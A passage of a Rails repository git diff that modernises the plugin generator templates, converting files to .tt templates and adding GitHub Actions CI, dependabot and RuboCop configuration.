-
-```ruby
-gem '<%= name %>'
-```
-
-And then execute:
-```bash
-$ bundle
-```
-
-Or install it yourself as:
-```bash
-$ gem install <%= name %>
-```
-
-## Contributing
-Contribution directions go here.
-
-## License
-The gem is available as open source under the terms of the [MIT License](http://opensource.org/licenses/MIT).
diff --git a/railties/lib/rails/generators/rails/plugin/templates/README.md.tt b/railties/lib/rails/generators/rails/plugin/templates/README.md.tt
new file mode 100644
index 0000000000000..c14ce81b3403a
--- /dev/null
+++ b/railties/lib/rails/generators/rails/plugin/templates/README.md.tt
@@ -0,0 +1,28 @@
+# <%= camelized_modules %>
+Short description and motivation.
+
+## Usage
+How to use my plugin.
+
+## Installation
+Add this line to your application's Gemfile:
+
+```ruby
+gem "<%= name %>"
+```
+
+And then execute:
+```bash
+$ bundle
+```
+
+Or install it yourself as:
+```bash
+$ gem install <%= name %>
+```
+
+## Contributing
+Contribution directions go here.
+
+## License
+The gem is available as open source under the terms of the [MIT License](https://opensource.org/licenses/MIT).
diff --git a/railties/lib/rails/generators/rails/plugin/templates/Rakefile b/railties/lib/rails/generators/rails/plugin/templates/Rakefile
deleted file mode 100644
index 383d2fb2d1284..0000000000000
--- a/railties/lib/rails/generators/rails/plugin/templates/Rakefile
+++ /dev/null
@@ -1,29 +0,0 @@
-begin
-  require 'bundler/setup'
-rescue LoadError
-  puts 'You must `gem install bundler` and `bundle install` to run rake tasks'
-end
-
-require 'rdoc/task'
-
-RDoc::Task.new(:rdoc) do |rdoc|
-  rdoc.rdoc_dir = 'rdoc'
-  rdoc.title    = '<%= camelized_modules %>'
-  rdoc.options << '--line-numbers'
-  rdoc.rdoc_files.include('README.md')
-  rdoc.rdoc_files.include('lib/**/*.rb')
-end
-
-<% if engine? && !options[:skip_active_record] && with_dummy_app? -%>
-APP_RAKEFILE = File.expand_path("../<%= dummy_path -%>/Rakefile", __FILE__)
-load 'rails/tasks/engine.rake'
-<% end %>
-
-<% if engine? -%>
-load 'rails/tasks/statistics.rake'
-<% end %>
-
-<% unless options[:skip_gemspec] -%>
-
-require 'bundler/gem_tasks'
-<% end %>
diff --git a/railties/lib/rails/generators/rails/plugin/templates/Rakefile.tt b/railties/lib/rails/generators/rails/plugin/templates/Rakefile.tt
new file mode 100644
index 0000000000000..b00bfdb52744a
--- /dev/null
+++ b/railties/lib/rails/generators/rails/plugin/templates/Rakefile.tt
@@ -0,0 +1,10 @@
+require "bundler/setup"
+<% if engine? && !options[:skip_active_record] && with_dummy_app? -%>
+
+APP_RAKEFILE = File.expand_path("<%= dummy_path -%>/Rakefile", __dir__)
+load "rails/tasks/engine.rake"
+<% end -%>
+<% unless options[:skip_gemspec] -%>
+
+require "bundler/gem_tasks"
+<% end -%>
diff --git a/railties/lib/rails/generators/rails/plugin/templates/app/controllers/%namespaced_name%/application_controller.rb.tt b/railties/lib/rails/generators/rails/plugin/templates/app/controllers/%namespaced_name%/application_controller.rb.tt
index abbacd9bec32b..1efc6f86118c8 100644
--- a/railties/lib/rails/generators/rails/plugin/templates/app/controllers/%namespaced_name%/application_controller.rb.tt
+++ b/railties/lib/rails/generators/rails/plugin/templates/app/controllers/%namespaced_name%/application_controller.rb.tt
@@ -1,6 +1,5 @@
-<%= wrap_in_modules <<-rb.strip_heredoc
+<%= wrap_in_modules <<~rb
   class ApplicationController < ActionController::#{api? ? "API" : "Base"}
-    #{ api? ? '# ' : '' }protect_from_forgery with: :exception
   end
 rb
 %>
diff --git a/railties/lib/rails/generators/rails/plugin/templates/app/helpers/%namespaced_name%/application_helper.rb.tt b/railties/lib/rails/generators/rails/plugin/templates/app/helpers/%namespaced_name%/application_helper.rb.tt
index 25d692732d200..be078f36def31 100644
--- a/railties/lib/rails/generators/rails/plugin/templates/app/helpers/%namespaced_name%/application_helper.rb.tt
+++ b/railties/lib/rails/generators/rails/plugin/templates/app/helpers/%namespaced_name%/application_helper.rb.tt
@@ -1,4 +1,4 @@
-<%= wrap_in_modules <<-rb.strip_heredoc
+<%= wrap_in_modules <<~rb
   module ApplicationHelper
   end
 rb
diff --git a/railties/lib/rails/generators/rails/plugin/templates/app/jobs/%namespaced_name%/application_job.rb.tt b/railties/lib/rails/generators/rails/plugin/templates/app/jobs/%namespaced_name%/application_job.rb.tt
index bad1ff2d16a53..846863bc13f15 100644
--- a/railties/lib/rails/generators/rails/plugin/templates/app/jobs/%namespaced_name%/application_job.rb.tt
+++ b/railties/lib/rails/generators/rails/plugin/templates/app/jobs/%namespaced_name%/application_job.rb.tt
@@ -1,4 +1,4 @@
-<%= wrap_in_modules <<-rb.strip_heredoc
+<%= wrap_in_modules <<~rb
   class ApplicationJob < ActiveJob::Base
   end
 rb
diff --git a/railties/lib/rails/generators/rails/plugin/templates/app/mailers/%namespaced_name%/application_mailer.rb.tt b/railties/lib/rails/generators/rails/plugin/templates/app/mailers/%namespaced_name%/application_mailer.rb.tt
index 09aac13f42a4e..b3ef3f4b6569f 100644
--- a/railties/lib/rails/generators/rails/plugin/templates/app/mailers/%namespaced_name%/application_mailer.rb.tt
+++ b/railties/lib/rails/generators/rails/plugin/templates/app/mailers/%namespaced_name%/application_mailer.rb.tt
@@ -1,7 +1,7 @@
-<%= wrap_in_modules <<-rb.strip_heredoc
+<%= wrap_in_modules <<~rb
   class ApplicationMailer < ActionMailer::Base
-    default from: 'from@example.com'
-    layout 'mailer'
+    default from: "from@example.com"
+    layout "mailer"
   end
 rb
 %>
diff --git a/railties/lib/rails/generators/rails/plugin/templates/app/models/%namespaced_name%/application_record.rb.tt b/railties/lib/rails/generators/rails/plugin/templates/app/models/%namespaced_name%/application_record.rb.tt
index 8aa3de78f1f05..21465278be32b 100644
--- a/railties/lib/rails/generators/rails/plugin/templates/app/models/%namespaced_name%/application_record.rb.tt
+++ b/railties/lib/rails/generators/rails/plugin/templates/app/models/%namespaced_name%/application_record.rb.tt
@@ -1,4 +1,4 @@
-<%= wrap_in_modules <<-rb.strip_heredoc
+<%= wrap_in_modules <<~rb
   class ApplicationRecord < ActiveRecord::Base
     self.abstract_class = true
   end
diff --git a/railties/lib/rails/generators/rails/plugin/templates/app/views/layouts/%namespaced_name%/application.html.erb.tt b/railties/lib/rails/generators/rails/plugin/templates/app/views/layouts/%namespaced_name%/application.html.erb.tt
index 6bc480161db42..8a3e55caa0d3a 100644
--- a/railties/lib/rails/generators/rails/plugin/templates/app/views/layouts/%namespaced_name%/application.html.erb.tt
+++ b/railties/lib/rails/generators/rails/plugin/templates/app/views/layouts/%namespaced_name%/application.html.erb.tt
@@ -2,9 +2,12 @@
 <html>
 <head>
   <title><%= humanized %></title>
-  <%%= stylesheet_link_tag    "<%= namespaced_name %>/application", media: "all" %>
-  <%%= javascript_include_tag "<%= namespaced_name %>/application" %>
   <%%= csrf_meta_tags %>
+  <%%= csp_meta_tag %>
+
+  <%%= yield :head %>
+
+  <%%= stylesheet_link_tag    "<%= namespaced_name %>/application", media: "all" %>
 </head>
 <body>
 
diff --git a/railties/lib/rails/generators/rails/plugin/templates/bin/rails.tt b/railties/lib/rails/generators/rails/plugin/templates/bin/rails.tt
index c03d9953d4d4f..db370e409440a 100644
--- a/railties/lib/rails/generators/rails/plugin/templates/bin/rails.tt
+++ b/railties/lib/rails/generators/rails/plugin/templates/bin/rails.tt
@@ -1,13 +1,15 @@
 # This command will automatically be run when you run "rails" with Rails gems
 # installed from the root of your application.
 
-ENGINE_ROOT = File.expand_path('../..', __FILE__)
-ENGINE_PATH = File.expand_path('../../lib/<%= namespaced_name -%>/engine', __FILE__)
-APP_PATH = File.expand_path('../../<%= dummy_path -%>/config/application', __FILE__)
+ENGINE_ROOT = File.expand_path("..", __dir__)
+ENGINE_PATH = File.expand_path("../lib/<%= namespaced_name -%>/engine", __dir__)
+<% if with_dummy_app? -%>
+APP_PATH = File.expand_path("../<%= dummy_path -%>/config/application", __dir__)
+<% end -%>
 
 # Set up gems listed in the Gemfile.
-ENV['BUNDLE_GEMFILE'] ||= File.expand_path('../../Gemfile', __FILE__)
-require 'bundler/setup' if File.exist?(ENV['BUNDLE_GEMFILE'])
+ENV["BUNDLE_GEMFILE"] ||= File.expand_path("../Gemfile", __dir__)
+require "bundler/setup" if File.exist?(ENV["BUNDLE_GEMFILE"])
 
-require 'rails/all'
-require 'rails/engine/commands'
+<%= rails_require_statement %>
+require "rails/engine/commands"
diff --git a/railties/lib/rails/generators/rails/plugin/templates/bin/rubocop.tt b/railties/lib/rails/generators/rails/plugin/templates/bin/rubocop.tt
new file mode 100644
index 0000000000000..039b6e421e78e
--- /dev/null
+++ b/railties/lib/rails/generators/rails/plugin/templates/bin/rubocop.tt
@@ -0,0 +1,4 @@
+require "rubygems"
+require "bundler/setup"
+
+load Gem.bin_path("rubocop", "rubocop")
diff --git a/railties/lib/rails/generators/rails/plugin/templates/bin/test.tt b/railties/lib/rails/generators/rails/plugin/templates/bin/test.tt
index c0fbb84a93d1b..8e7d321626af3 100644
--- a/railties/lib/rails/generators/rails/plugin/templates/bin/test.tt
+++ b/railties/lib/rails/generators/rails/plugin/templates/bin/test.tt
@@ -1,10 +1,4 @@
-$: << File.expand_path(File.expand_path('../../test', __FILE__))
+$: << File.expand_path("../test", __dir__)
 
-require 'bundler/setup'
-require 'rails/test_unit/minitest_plugin'
-
-Rails::TestUnitReporter.executable = 'bin/test'
-
-Minitest.run_via[:rails] = true
-
-require "active_support/testing/autorun"
+require "bundler/setup"
+require "rails/plugin/test"
diff --git a/railties/lib/rails/generators/rails/plugin/templates/config/routes.rb b/railties/lib/rails/generators/rails/plugin/templates/config/routes.rb.tt
similarity index 100%
rename from railties/lib/rails/generators/rails/plugin/templates/config/routes.rb
rename to railties/lib/rails/generators/rails/plugin/templates/config/routes.rb.tt
diff --git a/railties/lib/rails/generators/rails/plugin/templates/github/ci.yml.tt b/railties/lib/rails/generators/rails/plugin/templates/github/ci.yml.tt
new file mode 100644
index 0000000000000..c46ce6735ead0
--- /dev/null
+++ b/railties/lib/rails/generators/rails/plugin/templates/github/ci.yml.tt
@@ -0,0 +1,115 @@
+name: CI
+
+on:
+  pull_request:
+  push:
+    branches: [ <%= user_default_branch %> ]
+
+jobs:
+<%- unless skip_rubocop? -%>
+  lint:
+    runs-on: ubuntu-latest
+    env:
+      RUBY_VERSION: <%= version_manager_ruby_version %>
+      RUBOCOP_CACHE_ROOT: tmp/rubocop
+    steps:
+      - name: Checkout code
+        uses: actions/checkout@v6
+
+      - name: Set up Ruby
+        uses: ruby/setup-ruby@v1
+        with:
+          ruby-version: ${{ env.RUBY_VERSION }}
+          bundler-cache: true
+
+      - name: Prepare RuboCop cache
+        uses: actions/cache@v4
+        env:
+          DEPENDENCIES_HASH: ${{ hashFiles('**/.rubocop.yml', '**/.rubocop_todo.yml', 'Gemfile.lock') }}
+        with:
+          path: ${{ env.RUBOCOP_CACHE_ROOT }}
+          key: rubocop-${{ runner.os }}-${{ env.RUBY_VERSION }}-${{ env.DEPENDENCIES_HASH }}-${{ github.ref_name == github.event.repository.default_branch && github.run_id || 'default' }}
+          restore-keys: |
+            rubocop-${{ runner.os }}-${{ env.RUBY_VERSION }}-${{ env.DEPENDENCIES_HASH }}-
+
+      - name: Lint code for consistent style
+        run: bin/rubocop -f github
+
+<% end -%>
+<% unless options[:skip_test] -%>
+  test:
+    runs-on: ubuntu-latest
+
+    <%- if options[:database] == "sqlite3" -%>
+    # services:
+    #  redis:
+    #    image: valkey/valkey:8
+    #    ports:
+    #      - 6379:6379
+    #    options: --health-cmd "redis-cli ping" --health-interval 10s --health-timeout 5s --health-retries 5
+    <%- else -%>
+    services:
+      <%- if options[:database] == "mysql" || options[:database] == "trilogy" -%>
+      mysql:
+        image: mysql
+        env:
+          MYSQL_ALLOW_EMPTY_PASSWORD: true
+        ports:
+          - 3306:3306
+        options: --health-cmd="mysqladmin ping" --health-interval=10s --health-timeout=5s --health-retries=3
+      <%- elsif options[:database] == "postgresql" -%>
+      postgres:
+        image: postgres
+        env:
+          POSTGRES_USER: postgres
+          POSTGRES_PASSWORD: postgres
+        ports:
+          - 5432:5432
+        options: --health-cmd="pg_isready" --health-interval=10s --health-timeout=5s --health-retries=3
+      <%- end -%>
+
+      # redis:
+      #   image: valkey/valkey:8
+      #   ports:
+      #     - 6379:6379
+      #   options: --health-cmd "redis-cli ping" --health-interval 10s --health-timeout 5s --health-retries 5
+
+    <%- end -%>
+    steps:
+      - name: Checkout code
+        uses: actions/checkout@v6
+
+      - name: Set up Ruby
+        uses: ruby/setup-ruby@v1
+        with:
+          ruby-version: <%= version_manager_ruby_version %>
+          bundler-cache: true
+      <%- if using_bun? -%>
+
+      - uses: oven-sh/setup-bun@v2
+        with:
+          bun-version: <%= dockerfile_bun_version %>
+      <%- end -%>
+
+      - name: Run tests
+        env:
+          RAILS_ENV: test
+          <%- if options[:database] == "mysql" -%>
+          DATABASE_URL: mysql2://127.0.0.1:3306
+          <%- elsif options[:database] == "trilogy" -%>
+          DATABASE_URL: trilogy://127.0.0.1:3306
+          <%- elsif options[:database] == "postgresql" -%>
+          DATABASE_URL: postgres://postgres:postgres@localhost:5432
+          <%- end -%>
+          # RAILS_MASTER_KEY: ${{ secrets.RAILS_MASTER_KEY }}
+          # REDIS_URL: redis://localhost:6379/0
+        run: <%= test_command %>
+
+      - name: Keep screenshots from failed system tests
+        uses: actions/upload-artifact@v5
+        if: failure()
+        with:
+          name: screenshots
+          path: ${{ github.workspace }}/tmp/screenshots
+          if-no-files-found: ignore
+<% end -%>
diff --git a/railties/lib/rails/generators/rails/plugin/templates/github/dependabot.yml b/railties/lib/rails/generators/rails/plugin/templates/github/dependabot.yml
new file mode 100644
index 0000000000000..83610cfa4ceb8
--- /dev/null
+++ b/railties/lib/rails/generators/rails/plugin/templates/github/dependabot.yml
@@ -0,0 +1,12 @@
+version: 2
+updates:
+- package-ecosystem: bundler
+  directory: "/"
+  schedule:
+    interval: weekly
+  open-pull-requests-limit: 10
+- package-ecosystem: github-actions
+  directory: "/"
+  schedule:
+    interval: weekly
+  open-pull-requests-limit: 10
diff --git a/railties/lib/rails/generators/rails/plugin/templates/gitignore b/railties/lib/rails/generators/rails/plugin/templates/gitignore
deleted file mode 100644
index 54c78d7927e9e..0000000000000
--- a/railties/lib/rails/generators/rails/plugin/templates/gitignore
+++ /dev/null
@@ -1,9 +0,0 @@
-.bundle/
-log/*.log
-pkg/
-<% unless options[:skip_test] && options[:dummy_path] == 'test/dummy' -%>
-<%= dummy_path %>/db/*.sqlite3
-<%= dummy_path %>/db/*.sqlite3-journal
-<%= dummy_path %>/log/*.log
-<%= dummy_path %>/tmp/
-<% end -%>
diff --git a/railties/lib/rails/generators/rails/plugin/templates/gitignore.tt b/railties/lib/rails/generators/rails/plugin/templates/gitignore.tt
new file mode 100644
index 0000000000000..6c126c6c02fa0
--- /dev/null
+++ b/railties/lib/rails/generators/rails/plugin/templates/gitignore.tt
@@ -0,0 +1,14 @@
+/.bundle/
+/doc/
+/log/*.log
+/pkg/
+/tmp/
+<% if with_dummy_app? -%>
+<% if sqlite3? -%>
+/<%= dummy_path %>/db/*.sqlite3
+/<%= dummy_path %>/db/*.sqlite3-*
+<% end -%>
+/<%= dummy_path %>/log/*.log
+/<%= dummy_path %>/storage/
+/<%= dummy_path %>/tmp/
+<% end -%>
diff --git a/railties/lib/rails/generators/rails/plugin/templates/lib/%namespaced_name%.rb b/railties/lib/rails/generators/rails/plugin/templates/lib/%namespaced_name%.rb
deleted file mode 100644
index 40b1c4cee795c..0000000000000
--- a/railties/lib/rails/generators/rails/plugin/templates/lib/%namespaced_name%.rb
+++ /dev/null
@@ -1,5 +0,0 @@
-<% if engine? -%>
-require "<%= namespaced_name %>/engine"
-
-<% end -%>
-<%= wrap_in_modules "# Your code goes here..." %>
diff --git a/railties/lib/rails/generators/rails/plugin/templates/lib/%namespaced_name%.rb.tt b/railties/lib/rails/generators/rails/plugin/templates/lib/%namespaced_name%.rb.tt
new file mode 100644
index 0000000000000..2141ba169adf5
--- /dev/null
+++ b/railties/lib/rails/generators/rails/plugin/templates/lib/%namespaced_name%.rb.tt
@@ -0,0 +1,8 @@
+require "<%= namespaced_name %>/version"
+<% if engine? -%>
+require "<%= namespaced_name %>/engine"
+<% else -%>
+require "<%= namespaced_name %>/railtie"
+<% end -%>
+
+<%= wrap_in_modules "# Your code goes here..." %>
diff --git a/railties/lib/rails/generators/rails/plugin/templates/lib/%namespaced_name%/engine.rb b/railties/lib/rails/generators/rails/plugin/templates/lib/%namespaced_name%/engine.rb
deleted file mode 100644
index 8938770fc47c4..0000000000000
--- a/railties/lib/rails/generators/rails/plugin/templates/lib/%namespaced_name%/engine.rb
+++ /dev/null
@@ -1,7 +0,0 @@
-<%= wrap_in_modules <<-rb.strip_heredoc
-  class Engine < ::Rails::Engine
-  #{mountable? ? '  isolate_namespace ' + camelized_modules : ' '}
-  #{api? ? "  config.generators.api_only = true" : ' '}
-  end
-rb
-%>
diff --git a/railties/lib/rails/generators/rails/plugin/templates/lib/%namespaced_name%/engine.rb.tt b/railties/lib/rails/generators/rails/plugin/templates/lib/%namespaced_name%/engine.rb.tt
new file mode 100644
index 0000000000000..fbb62d54bebb8
--- /dev/null
+++ b/railties/lib/rails/generators/rails/plugin/templates/lib/%namespaced_name%/engine.rb.tt
@@ -0,0 +1,7 @@
+<%= wrap_in_modules <<~rb
+  class Engine < ::Rails::Engine
+  #{mountable? ? "  isolate_namespace " + camelized_modules : " "}
+  #{api? ? "  config.generators.api_only = true" : " "}
+  end
+rb
+%>
diff --git a/railties/lib/rails/generators/rails/plugin/templates/lib/%namespaced_name%/railtie.rb.tt b/railties/lib/rails/generators/rails/plugin/templates/lib/%namespaced_name%/railtie.rb.tt
new file mode 100644
index 0000000000000..b853fabcc3c33
--- /dev/null
+++ b/railties/lib/rails/generators/rails/plugin/templates/lib/%namespaced_name%/railtie.rb.tt
@@ -0,0 +1,5 @@
+<%= wrap_in_modules <<~rb
+  class Railtie < ::Rails::Railtie
+  end
+rb
+%>
diff --git a/railties/lib/rails/generators/rails/plugin/templates/lib/%namespaced_name%/version.rb b/railties/lib/rails/generators/rails/plugin/templates/lib/%namespaced_name%/version.rb
deleted file mode 100644
index b08f4ef9ae744..0000000000000
--- a/railties/lib/rails/generators/rails/plugin/templates/lib/%namespaced_name%/version.rb
+++ /dev/null
@@ -1 +0,0 @@
-<%= wrap_in_modules "VERSION = '0.1.0'" %>
diff --git a/railties/lib/rails/generators/rails/plugin/templates/lib/%namespaced_name%/version.rb.tt b/railties/lib/rails/generators/rails/plugin/templates/lib/%namespaced_name%/version.rb.tt
new file mode 100644
index 0000000000000..6da2b0c85dc38
--- /dev/null
+++ b/railties/lib/rails/generators/rails/plugin/templates/lib/%namespaced_name%/version.rb.tt
@@ -0,0 +1 @@
+<%= wrap_in_modules 'VERSION = "0.1.0"' %>
diff --git a/railties/lib/rails/generators/rails/plugin/templates/lib/tasks/%namespaced_name%_tasks.rake b/railties/lib/rails/generators/rails/plugin/templates/lib/tasks/%namespaced_name%_tasks.rake.tt
similarity index 100%
rename from railties/lib/rails/generators/rails/plugin/templates/lib/tasks/%namespaced_name%_tasks.rake
rename to railties/lib/rails/generators/rails/plugin/templates/lib/tasks/%namespaced_name%_tasks.rake.tt
diff --git a/railties/lib/rails/generators/rails/plugin/templates/rails/application.rb b/railties/lib/rails/generators/rails/plugin/templates/rails/application.rb
deleted file mode 100644
index d03b1be878068..0000000000000
--- a/railties/lib/rails/generators/rails/plugin/templates/rails/application.rb
+++ /dev/null
@@ -1,20 +0,0 @@
-require_relative 'boot'
-
-<% if include_all_railties? -%>
-require 'rails/all'
-<% else -%>
-# Pick the frameworks you want:
-<%= comment_if :skip_active_record %>require "active_record/railtie"
-require "action_controller/railtie"
-require "action_view/railtie"
-<%= comment_if :skip_action_mailer %>require "action_mailer/railtie"
-require "active_job/railtie"
-<%= comment_if :skip_action_cable %>require "action_cable/engine"
-<%= comment_if :skip_test %>require "rails/test_unit/railtie"
-<%= comment_if :skip_sprockets %>require "sprockets/railtie"
-<% end -%>
-
-Bundler.require(*Rails.groups)
-require "<%= namespaced_name %>"
-
-<%= application_definition %>
diff --git a/railties/lib/rails/generators/rails/plugin/templates/rails/boot.rb b/railties/lib/rails/generators/rails/plugin/templates/rails/boot.rb
deleted file mode 100644
index c9aef85d4041f..0000000000000
--- a/railties/lib/rails/generators/rails/plugin/templates/rails/boot.rb
+++ /dev/null
@@ -1,5 +0,0 @@
-# Set up gems listed in the Gemfile.
-ENV['BUNDLE_GEMFILE'] ||= File.expand_path('../../../Gemfile', __dir__)
-
-require 'bundler/setup' if File.exist?(ENV['BUNDLE_GEMFILE'])
-$LOAD_PATH.unshift File.expand_path('../../../lib', __dir__)
diff --git a/railties/lib/rails/generators/rails/plugin/templates/rails/boot.rb.tt b/railties/lib/rails/generators/rails/plugin/templates/rails/boot.rb.tt
new file mode 100644
index 0000000000000..116591a4ed575
--- /dev/null
+++ b/railties/lib/rails/generators/rails/plugin/templates/rails/boot.rb.tt
@@ -0,0 +1,5 @@
+# Set up gems listed in the Gemfile.
+ENV["BUNDLE_GEMFILE"] ||= File.expand_path("../../../Gemfile", __dir__)
+
+require "bundler/setup" if File.exist?(ENV["BUNDLE_GEMFILE"])
+$LOAD_PATH.unshift File.expand_path("../../../lib", __dir__)
diff --git a/railties/lib/rails/generators/rails/plugin/templates/rails/dummy_manifest.js b/railties/lib/rails/generators/rails/plugin/templates/rails/dummy_manifest.js
deleted file mode 100644
index 8d21b2b6fb436..0000000000000
--- a/railties/lib/rails/generators/rails/plugin/templates/rails/dummy_manifest.js
+++ /dev/null
@@ -1,11 +0,0 @@
-
-<% unless api? -%>
-//= link_tree ../images
-<% end -%>
-<% unless options.skip_javascript -%>
-//= link_directory ../javascripts .js
-<% end -%>
-//= link_directory ../stylesheets .css
-<% if mountable? && !api? -%>
-//= link <%= underscored_name %>_manifest.js
-<% end -%>
diff --git a/railties/lib/rails/generators/rails/plugin/templates/rails/engine_manifest.js b/railties/lib/rails/generators/rails/plugin/templates/rails/engine_manifest.js
deleted file mode 100644
index 2f23844f5e78f..0000000000000
--- a/railties/lib/rails/generators/rails/plugin/templates/rails/engine_manifest.js
+++ /dev/null
@@ -1,6 +0,0 @@
-<% if mountable? -%>
-<% if !options.skip_javascript -%>
-//= link_directory ../javascripts/<%= namespaced_name %> .js
-<% end -%>
-//= link_directory ../stylesheets/<%= namespaced_name %> .css
-<% end -%>
diff --git a/railties/lib/rails/generators/rails/plugin/templates/rails/javascripts.js b/railties/lib/rails/generators/rails/plugin/templates/rails/javascripts.js
deleted file mode 100644
index e54c6461cc303..0000000000000
--- a/railties/lib/rails/generators/rails/plugin/templates/rails/javascripts.js
+++ /dev/null
@@ -1,13 +0,0 @@
-// This is a manifest file that'll be compiled into application.js, which will include all the files
-// listed below.
-//
-// Any JavaScript/Coffee file within this directory, lib/assets/javascripts, vendor/assets/javascripts,
-// or any plugin's vendor/assets/javascripts directory can be referenced here using a relative path.
-//
-// It's not advisable to add code directly here, but if you do, it'll appear at the bottom of the
-// compiled file. JavaScript code in this file should be added after the last require_* statement.
-//
-// Read Sprockets README (https://github.com/rails/sprockets#sprockets-directives) for details
-// about supported directives.
-//
-//= require_tree .
diff --git a/railties/lib/rails/generators/rails/plugin/templates/rails/routes.rb b/railties/lib/rails/generators/rails/plugin/templates/rails/routes.rb.tt
similarity index 100%
rename from railties/lib/rails/generators/rails/plugin/templates/rails/routes.rb
rename to railties/lib/rails/generators/rails/plugin/templates/rails/routes.rb.tt
diff --git a/railties/lib/rails/generators/rails/plugin/templates/rubocop.yml.tt b/railties/lib/rails/generators/rails/plugin/templates/rubocop.yml.tt
new file mode 100644
index 0000000000000..f9d86d4a54802
--- /dev/null
+++ b/railties/lib/rails/generators/rails/plugin/templates/rubocop.yml.tt
@@ -0,0 +1,8 @@
+# Omakase Ruby styling for Rails
+inherit_gem: { rubocop-rails-omakase: rubocop.yml }
+
+# Overwrite or add rules to create your own house style
+#
+# # Use `[a, [b, c]]` not `[ a, [ b, c ] ]`
+# Layout/SpaceInsideArrayLiteralBrackets:
+#   Enabled: false
diff --git a/railties/lib/rails/generators/rails/plugin/templates/test/%namespaced_name%_test.rb b/railties/lib/rails/generators/rails/plugin/templates/test/%namespaced_name%_test.rb
deleted file mode 100644
index 1ee05d78715fc..0000000000000
--- a/railties/lib/rails/generators/rails/plugin/templates/test/%namespaced_name%_test.rb
+++ /dev/null
@@ -1,7 +0,0 @@
-require 'test_helper'
-
-class <%= camelized_modules %>::Test < ActiveSupport::TestCase
-  test "truth" do
-    assert_kind_of Module, <%= camelized_modules %>
-  end
-end
diff --git a/railties/lib/rails/generators/rails/plugin/templates/test/%namespaced_name%_test.rb.tt b/railties/lib/rails/generators/rails/plugin/templates/test/%namespaced_name%_test.rb.tt
new file mode 100644
index 0000000000000..fc1746d723dab
--- /dev/null
+++ b/railties/lib/rails/generators/rails/plugin/templates/test/%namespaced_name%_test.rb.tt
@@ -0,0 +1,7 @@
+require "test_helper"
+
+class <%= camelized_modules %>Test < ActiveSupport::TestCase
+  test "it has a version number" do
+    assert <%= camelized_modules %>::VERSION
+  end
+end
diff --git a/railties/lib/rails/generators/rails/plugin/templates/test/application_system_test_case.rb.tt b/railties/lib/rails/generators/rails/plugin/templates/test/application_system_test_case.rb.tt
new file mode 100644
index 0000000000000..cee29fd2143ea
--- /dev/null
+++ b/railties/lib/rails/generators/rails/plugin/templates/test/application_system_test_case.rb.tt
@@ -0,0 +1,5 @@
+require "test_helper"
+
+class ApplicationSystemTestCase < ActionDispatch::SystemTestCase
+  driven_by :selenium, using: :headless_chrome, screen_size: [ 1400, 1400 ]
+end
diff --git a/railties/lib/rails/generators/rails/plugin/templates/test/integration/navigation_test.rb b/railties/lib/rails/generators/rails/plugin/templates/test/integration/navigation_test.rb
deleted file mode 100644
index f5d1ec2046d79..0000000000000
--- a/railties/lib/rails/generators/rails/plugin/templates/test/integration/navigation_test.rb
+++ /dev/null
@@ -1,8 +0,0 @@
-require 'test_helper'
-
-class NavigationTest < ActionDispatch::IntegrationTest
-  # test "the truth" do
-  #   assert true
-  # end
-end
-
diff --git a/railties/lib/rails/generators/rails/plugin/templates/test/integration/navigation_test.rb.tt b/railties/lib/rails/generators/rails/plugin/templates/test/integration/navigation_test.rb.tt
new file mode 100644
index 0000000000000..ebbc098ac9d42
--- /dev/null
+++ b/railties/lib/rails/generators/rails/plugin/templates/test/integration/navigation_test.rb.tt
@@ -0,0 +1,7 @@
+require "test_helper"
+
+class NavigationTest < ActionDispatch::IntegrationTest
+  # test "the truth" do
+  #   assert true
+  # end
+end
diff --git a/railties/lib/rails/generators/rails/plugin/templates/test/test_helper.rb b/railties/lib/rails/generators/rails/plugin/templates/test/test_helper.rb
deleted file mode 100644
index e84e4030183d9..0000000000000
--- a/railties/lib/rails/generators/rails/plugin/templates/test/test_helper.rb
+++ /dev/null
@@ -1,24 +0,0 @@
-require File.expand_path("../../<%= options[:dummy_path] -%>/config/environment.rb", __FILE__)
-<% unless options[:skip_active_record] -%>
-ActiveRecord::Migrator.migrations_paths = [File.expand_path("../../<%= options[:dummy_path] -%>/db/migrate", __FILE__)]
-<% if options[:mountable] -%>
-ActiveRecord::Migrator.migrations_paths << File.expand_path('../../db/migrate', __FILE__)
-<% end -%>
-<% end -%>
-require "rails/test_help"
-
-# Filter out Minitest backtrace while allowing backtrace from other libraries
-# to be shown.
-Minitest.backtrace_filter = Minitest::BacktraceFilter.new
-
-<% unless engine? -%>
-Rails::TestUnitReporter.executable = 'bin/test'
-<% end -%>
-
-# Load fixtures from the engine
-if ActiveSupport::TestCase.respond_to?(:fixture_path=)
-  ActiveSupport::TestCase.fixture_path = File.expand_path("../fixtures", __FILE__)
-  ActionDispatch::IntegrationTest.fixture_path = ActiveSupport::TestCase.fixture_path
-  ActiveSupport::TestCase.file_fixture_path = ActiveSupport::TestCase.fixture_path + "/files"
-  ActiveSupport::TestCase.fixtures :all
-end
diff --git a/railties/lib/rails/generators/rails/plugin/templates/test/test_helper.rb.tt b/railties/lib/rails/generators/rails/plugin/templates/test/test_helper.rb.tt
new file mode 100644
index 0000000000000..3f10912b768c3
--- /dev/null
+++ b/railties/lib/rails/generators/rails/plugin/templates/test/test_helper.rb.tt
@@ -0,0 +1,21 @@
+# Configure Rails Environment
+ENV["RAILS_ENV"] = "test"
+
+require_relative "<%= File.join("..", options[:dummy_path], "config/environment") -%>"
+<% unless options[:skip_active_record] -%>
+ActiveRecord::Migrator.migrations_paths = [ File.expand_path("../<%= options[:dummy_path] -%>/db/migrate", __dir__) ]
+<% if options[:mountable] -%>
+ActiveRecord::Migrator.migrations_paths << File.expand_path("../db/migrate", __dir__)
+<% end -%>
+<% end -%>
+require "rails/test_help"
+
+<% unless options[:skip_active_record] -%>
+# Load fixtures from the engine
+if ActiveSupport::TestCase.respond_to?(:fixture_paths=)
+  ActiveSupport::TestCase.fixture_paths = [ File.expand_path("fixtures", __dir__) ]
+  ActionDispatch::IntegrationTest.fixture_paths = ActiveSupport::TestCase.fixture_paths
+  ActiveSupport::TestCase.file_fixture_path = File.expand_path("fixtures", __dir__) + "/files"
+  ActiveSupport::TestCase.fixtures :all
+end
+<% end -%>
diff --git a/railties/lib/rails/generators/rails/resource/USAGE b/railties/lib/rails/generators/rails/resource/USAGE
index e359cd574fbfc..10032b55b4e88 100644
--- a/railties/lib/rails/generators/rails/resource/USAGE
+++ b/railties/lib/rails/generators/rails/resource/USAGE
@@ -1,6 +1,6 @@
 Description:
-    Stubs out a new resource including an empty model and controller suitable
-    for a restful, resource-oriented application. Pass the singular model name,
+    Generates a new resource including an empty model and controller suitable
+    for a RESTful, resource-oriented application. Pass the singular model name,
